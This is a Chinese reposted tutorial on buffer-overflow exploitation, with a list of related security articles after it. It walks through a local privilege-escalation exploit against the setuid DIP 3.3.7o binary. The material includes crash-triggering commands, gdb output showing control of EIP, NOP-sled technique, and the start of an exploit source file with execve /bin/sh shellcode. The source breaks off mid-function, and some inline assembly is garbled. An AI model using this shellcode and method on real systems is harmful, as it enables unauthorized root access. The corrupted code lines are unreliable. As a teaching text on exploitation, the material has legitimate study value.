缓冲区溢出解密四
互联网 发布时间:2008-10-08 19:04:01 作者:佚名
我要评论
来自Aleph1的文章:
“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字
来自Aleph1的文章:
“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字节,我们将得到一个段侵犯或者无效指令。一个提高我们机会的方法是在我们溢出缓冲区开头填NOP指令。几乎所有的处理器都有NOP指令执行一个空操作。它经常被用来为了时间目的延迟执行。我们将利用它,并且用它们填充我们一半的溢出缓冲区。我们将在中间放置我们的shellcode,接着在它后面跟着返回地址。如果我们走运,而返回地址指向NOP字符串的任何位置,它们将被执行直到它们遇到我们的代码。在Intel构架中,NOP指令是1个字节长在机器码中它转换成0x90。假设堆栈从地址0xFF开始,S表示shell代码,N表示一个NOP指令,新的堆栈可能看起来象这样:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
这里,我们*猜测*地址。通过下面的子程序我们得到了当前存储在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面这个函数的帮助,我们可以有一个内存中堆栈指针可能在哪儿的*想法*。接着,我们从这个SP的地址中减去偏移量。如果我们足够幸运的话,我们可以猜到缓冲区中一个NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我们漏洞利用程序的ESP。它仅仅考虑了一个范围。)
为了阐明这两个方法的不同之处,让我们写两个漏洞利用程序,应用一下目前为止我们所学的。
漏洞利用程序
现在我们知道了,什么是缓冲区溢出,知道如何利用缓冲区溢出覆盖返回地址,知道我们怎样能修改一个函数的返回地址,不必多说了。让我们编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。
这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值,没有边界检测,它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区,这些缓冲区只能存有限的数据;因此增加了一个缓冲区溢出的风险。
漏洞代码如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手册页($man 3 stpcpy);stpcpy,不考虑它所处理的缓冲区的边界,它把整个数组拷贝给另外一个。这里我们需要做的是:
1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的缓冲区,接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中,由于我们准确的知道我们shellcode在内存中的位置,我们仅仅拷贝这个地址到整个数组。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
从上面可以看到,当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生,然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候,程序出现了段侵犯。它没有core dump,因为程序是setuid root权限的。让我们成为root,看看当我们给-l选项提供一个120字节的字符串时会发生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 从这里可以看出,堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指针寄存器,它是:
ebp 0x41444342 0x41444342
这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节,这样ABCD适合一个4字节内存单元。这样的话:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我们多加了一个A到我们的缓冲区开头,这样现在EIP和EBP寄存器都是:0x44434241,即我们可以校正我们的字符串了。 我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时,你将很容易地看出之间的不同,并且明白没有必要去尝试猜测奇怪的偏移。请注意,环境变量方法只有当是本地漏洞的时候才有用。
这里是用经典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
让我详细说明这个漏洞利用程序:
我们定义我们的缓冲区为130个字节长,因为一个121字节的数组对于我们来说是足够了,定义NULL操作指令的运算码为0x90,Alignment为1。
相关文章
- “CMOS密码”就是通常所说的“开机密码”,主要是为了防止别人使用自已的计算机,设置的一个屏障2023-08-01

QQScreenShot之逆向并提取QQ截图--OCR和其他功能
上一篇文章逆向并提取QQ截图没有提取OCR功能, 再次逆向我发现是可以本地调用QQ的OCR的,但翻译按钮确实没啥用, 于是Patch了翻译按钮事件, 改为了将截图用百度以图搜图搜索.2023-02-04
QQ截图是我用过的最好用的截图工具, 由于基本不在电脑上登QQ了, 于是就想将其提取出独立版目前除了屏幕录制功能其他都逆出来了, 在此分享一下2023-02-04
非系统分区使用BitLocker加密导致软件无法安装的解决方法
很多电脑用户在考虑自己电脑磁盘分区安全时会采用 Windows 自带的 BitLocker 加密工具对电脑磁盘分区进行加密。但有些人加密后就会忘记自己设置的密码从而导致在安装其它软2020-11-25
防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生
这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-06-27
彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举
近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,2017-06-27- 最近有电脑用户反应量子计算机可以破解下载的所有的加密算法吗?其实也不是不可以,下面虚拟就为大家讲解买台量子计算机,如何分分钟破解加密算法2016-09-26
怎么破解Webshell密码 Burpsuite破解Webshell密码图文教程
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,一种网页后门。黑客通常会通过它控制别人网络服务器,那么怎么破解webshell密码呢?一起来看看吧2016-09-19- 本文讨论了针对Linux系统全盘加密的冷启动攻击,大家都认为这种攻击是可行的,但执行这么一次攻击有多难?攻击的可行性有多少呢?需要的朋友可以参考下2015-12-28
防止泄露公司机密、企业数据防泄密软件排名、电脑文件加密软件排行
面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较2015-12-17







最新评论